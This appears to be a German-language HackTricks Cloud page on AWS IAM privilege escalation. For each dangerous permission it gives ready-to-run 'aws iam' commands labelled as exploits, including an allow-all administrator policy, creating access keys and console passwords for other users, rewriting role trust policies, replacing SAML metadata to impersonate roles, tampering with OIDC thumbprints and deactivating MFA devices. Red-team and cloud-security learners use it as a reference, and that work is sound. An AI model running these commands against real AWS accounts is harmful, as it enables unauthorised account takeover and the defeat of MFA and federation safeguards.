AWS - IAM Privesc
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
IAM
Für mehr Informationen zu IAM siehe:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion, indem das --set-as-default Flag verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Auswirkung: Ermöglicht direkt eine Eskalation der Privilegien, da dadurch beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
iam:SetDefaultPolicyVersion
Ermöglicht das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version, was unter Umständen zu einer Eskalation der Privilegien führen kann, wenn die neue Version mehr Berechtigungen enthält.
Bash-Befehl:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Auswirkung: Indirekte Privilegieneskalation durch das Ermöglichen zusätzlicher Berechtigungen.
iam:CreateAccessKey
Ermöglicht das Erstellen einer Access Key ID und eines Secret Access Key für einen anderen Benutzer, was zu potenzieller Privilegieneskalation führen kann.
Exploit:
aws iam create-access-key --user-name <target_user>
Auswirkung: Direkte privilege escalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Ermöglicht das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu einer direkten privilege escalation führt.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit für Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Auswirkung: Direkte Privilegieneskalation durch Anmeldung als "any" Benutzer.
iam:UpdateAccessKey
Ermöglicht das Reaktivieren eines deaktivierten access key, was zu unbefugtem Zugriff führen kann, wenn der Angreifer im Besitz des deaktivierten access key ist.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Auswirkung: Direkte Privilegieneskalation durch Reaktivierung von access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Ermöglicht das Generieren oder Zurücksetzen von credentials für bestimmte AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.
Exploit zur Erstellung:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit für Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Auswirkung: Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und eskaliert dadurch direkt Rechte, indem die Berechtigungen der angehängten Policy übernommen werden.
Exploit für Benutzer:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit für Gruppe:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Auswirkung: Direkte Rechteeskalation auf alles, was die Richtlinie gewährt.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Ermöglicht das Anhängen oder Einfügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht so eine direkte Rechteeskalation durch das Gewähren zusätzlicher Berechtigungen.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit für Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Sie können eine Richtlinie wie folgt verwenden:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Auswirkung: Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Policies.
iam:AddUserToGroup
Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen und damit Privilegien zu eskalieren, indem die Berechtigungen der Gruppe übernommen werden.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
iam:UpdateAssumeRolePolicy
Ermöglicht das Ändern des assume role policy document einer Rolle, wodurch das Annehmen der Rolle und die Übernahme ihrer zugehörigen Berechtigungen möglich wird.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Auswirkung: Direkte Privilegieneskalation durch das Übernehmen der Berechtigungen beliebiger Rollen.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Ermöglicht das Hochladen eines SSH-öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.
Exploit für SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit für MFA-Deaktivierung:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Auswirkung: Indirekte privilege escalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.
iam:ResyncMFADevice
Ermöglicht die Resynchronisierung eines MFA-Geräts und kann durch Manipulation des MFA-Schutzes potenziell zu einer indirekten privilege escalation führen.
Bash-Befehl:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Auswirkung: Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Mit diesen Berechtigungen kannst du die XML-Metadaten der SAML-Verbindung ändern. Dann könntest du die SAML federation missbrauchen, um einen login mit jeder role, die ihr vertraut, durchzuführen.
Beachte, dass dadurch legit users won't be able to login. Du könntest jedoch das XML erhalten, es durch dein eigenes ersetzen, login und die vorherige Konfiguration wiederherstellen.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Ein Tool, das SAML metadata generieren kann und sich mit einer angegebenen role anmelden
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Unsicher darüber) Wenn ein attacker diese permissions hat, könnte er einen neuen Thumbprint hinzufügen, um sich in allen roles anzumelden, die dem provider vertrauen.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Diese Berechtigung ermöglicht einem attacker, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise dessen Privilegien zu eskalieren, indem Aktionen erlaubt werden, die normalerweise durch die bestehenden Berechtigungen eingeschränkt sind.
Referenzen
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud